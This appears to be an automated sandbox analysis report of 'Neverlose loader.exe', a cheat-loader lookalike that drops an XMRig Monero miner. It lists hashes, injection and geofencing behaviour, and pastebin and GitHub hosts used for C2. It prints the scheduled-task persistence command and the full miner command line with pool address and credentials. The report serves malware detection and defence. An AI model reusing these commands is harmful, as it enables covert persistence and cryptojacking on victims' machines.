Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system - submitted
23/05/2024, 17:37
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Neverlose loader.exe
Resource
win7-20240215-en
12 signatures
150 seconds
General
- Target Neverlose loader.exe
- Size 17.5MB
- Sample240523-v7lpssag48
- SHA256 3a114634cd7913cbff0c7c8dad3f02350e82ebe6a035111f30881f0ea1183ae5
- MD5 168929f3be96ea15b5d4b47d917f5a6a
- SHA1 e12241a598abcafa9074c163c4bc336df69c822a
- SHA512 f82d7759bcbcda008f3d83caaadb53778cfa1adc7eaa868be1947e9f5506578d53898e457af7445c10a847630617d1a60831de08271dc52fd0e2c78976160413
- SSDEEP 393216:2e42w6EWKbc19sIIm6SSdigoK0ErYGwMCM46jhrRnztF9hNXW8if+y:2e3w6EW5XXKSScrY8MCwttz/VW8if+y
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- XMRig Miner payload 10 IoCs
resource yara_rule behavioral2/memory/1804-50-0x0000000140000000-0x000000014074D000-memory.dmp xmrig behavioral2/memory/1804-52-0x0000000140000000-0x000000014074D000-memory.dmp xmrig behavioral2/memory/1804-55-0x0000000140000000-0x000000014074D000-memory.dmp xmrig behavioral2/memory/1804-56-0x0000000140000000-0x000000014074D000-memory.dmp xmrig behavioral2/memory/1804-54-0x0000000140000000-0x000000014074D000-memory.dmp xmrig behavioral2/memory/1804-58-0x0000000140000000-0x000000014074D000-memory.dmp xmrig behavioral2/memory/1804-57-0x0000000140000000-0x000000014074D000-memory.dmp xmrig behavioral2/memory/1804-59-0x0000000140000000-0x000000014074D000-memory.dmp xmrig behavioral2/memory/1804-61-0x0000000140000000-0x000000014074D000-memory.dmp xmrig behavioral2/memory/1804-60-0x0000000140000000-0x000000014074D000-memory.dmp xmrig - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation Neverlose loader.exe Key value queried \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation Services.exe - Executes dropped EXE 3 IoCs
pid Process 532 sihost64.exe 3440 Services.exe 5500 sihost64.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
flow ioc 45 pastebin.com 46 pastebin.com 47 raw.githubusercontent.com 48 raw.githubusercontent.com - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3440 set thread context of 1804 3440 Services.exe 106 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2504 schtasks.exe 372 schtasks.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4768 Neverlose loader.exe 4768 Neverlose loader.exe 3440 Services.exe 3440 Services.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4768 Neverlose loader.exe Token: SeDebugPrivilege 3440 Services.exe Token: SeLockMemoryPrivilege 1804 svchost.exe Token: SeLockMemoryPrivilege 1804 svchost.exe - Suspicious use of WriteProcessMemory 29 IoCs
description pid Process procid_target PID 4768 wrote to memory of 3404 4768 Neverlose loader.exe 83 PID 4768 wrote to memory of 3404 4768 Neverlose loader.exe 83 PID 3404 wrote to memory of 2504 3404 cmd.exe 86 PID 3404 wrote to memory of 2504 3404 cmd.exe 86 PID 4768 wrote to memory of 532 4768 Neverlose loader.exe 96 PID 4768 wrote to memory of 532 4768 Neverlose loader.exe 96 PID 4768 wrote to memory of 3440 4768 Neverlose loader.exe 97 PID 4768 wrote to memory of 3440 4768 Neverlose loader.exe 97 PID 3440 wrote to memory of 5772 3440 Services.exe 98 PID 3440 wrote to memory of 5772 3440 Services.exe 98 PID 5772 wrote to memory of 372 5772 cmd.exe 100 PID 5772 wrote to memory of 372 5772 cmd.exe 100 PID 3440 wrote to memory of 5500 3440 Services.exe 105 PID 3440 wrote to memory of 5500 3440 Services.exe 105 PID 3440 wrote to memory of 1804 3440 Services.exe 106 PID 3440 wrote to memory of 1804 3440 Services.exe 106 PID 3440 wrote to memory of 1804 3440 Services.exe 106 PID 3440 wrote to memory of 1804 3440 Services.exe 106 PID 3440 wrote to memory of 1804 3440 Services.exe 106 PID 3440 wrote to memory of 1804 3440 Services.exe 106 PID 3440 wrote to memory of 1804 3440 Services.exe 106 PID 3440 wrote to memory of 1804 3440 Services.exe 106 PID 3440 wrote to memory of 1804 3440 Services.exe 106 PID 3440 wrote to memory of 1804 3440 Services.exe 106 PID 3440 wrote to memory of 1804 3440 Services.exe 106 PID 3440 wrote to memory of 1804 3440 Services.exe 106 PID 3440 wrote to memory of 1804 3440 Services.exe 106 PID 3440 wrote to memory of 1804 3440 Services.exe 106 PID 3440 wrote to memory of 1804 3440 Services.exe 106 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Neverlose loader.exe"C:\Users\Admin\AppData\Local\Temp\Neverlose loader.exe"1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4768 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit2⤵
- Suspicious use of WriteProcessMemory
PID:3404 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'3⤵
- Creates scheduled task(s)
PID:2504
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"2⤵
- Executes dropped EXE
PID:532
-
-
C:\Users\Admin\AppData\Local\Temp\Services.exe"C:\Users\Admin\AppData\Local\Temp\Services.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3440 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit3⤵
- Suspicious use of WriteProcessMemory
PID:5772 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'4⤵
- Creates scheduled task(s)
PID:372
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"3⤵
- Executes dropped EXE
PID:5500
-
-
C:\Windows\System32\svchost.exeC:\Windows/System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.bmpool.org:6004 --user=6047647 --pass=kakachka2707 --cpu-max-threads-hint=40 --donate-level=5 --unam-idle-wait=1 --unam-idle-cpu=80 --unam-stealth3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1804
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\Services.exe
- Size 17.5MB
- SHA256 3a114634cd7913cbff0c7c8dad3f02350e82ebe6a035111f30881f0ea1183ae5
- MD5 168929f3be96ea15b5d4b47d917f5a6a
- SHA1 e12241a598abcafa9074c163c4bc336df69c822a
- SHA512 f82d7759bcbcda008f3d83caaadb53778cfa1adc7eaa868be1947e9f5506578d53898e457af7445c10a847630617d1a60831de08271dc52fd0e2c78976160413
- SSDEEP 393216:2e42w6EWKbc19sIIm6SSdigoK0ErYGwMCM46jhrRnztF9hNXW8if+y:2e3w6EW5XXKSScrY8MCwttz/VW8if+y
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Libs\WR64.sys
- Size 14KB
- SHA256 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
- MD5 0c0195c48b6b8582fa6f6373032118da
- SHA1 d25340ae8e92a6d29f599fef426a2bc1b5217299
- SHA512 ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d
- SSDEEP 192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
- Size 7KB
- SHA256 128db59ff4218dabd4b745f5bb44ec584ed5f699df62409ec11a6029c55bf2b5
- MD5 13a2af68e1f09f9ee056df581903d963
- SHA1 62109cc0c09038ca229a2c98e5d2ac57ec41b4de
- SHA512 ea3b19588de83f3f9734cbce0bd261a4a0d6bbd9d95b2f40f668fc7e84b588e02e218c23723be5d935fe9523bce611ed9438712884cee609c1c4cac673e9b7d3
- SSDEEP 96:LIUd43+PhEK0xnk1xEl1KsVJPDdabjW1TjiOUJ0nPXmTIoDHLWwOgzNt:LIUe3UE1k1x019VzAK1Tj1UJiA5LWu
- MD5 SHA1 SHA512 SSDEEP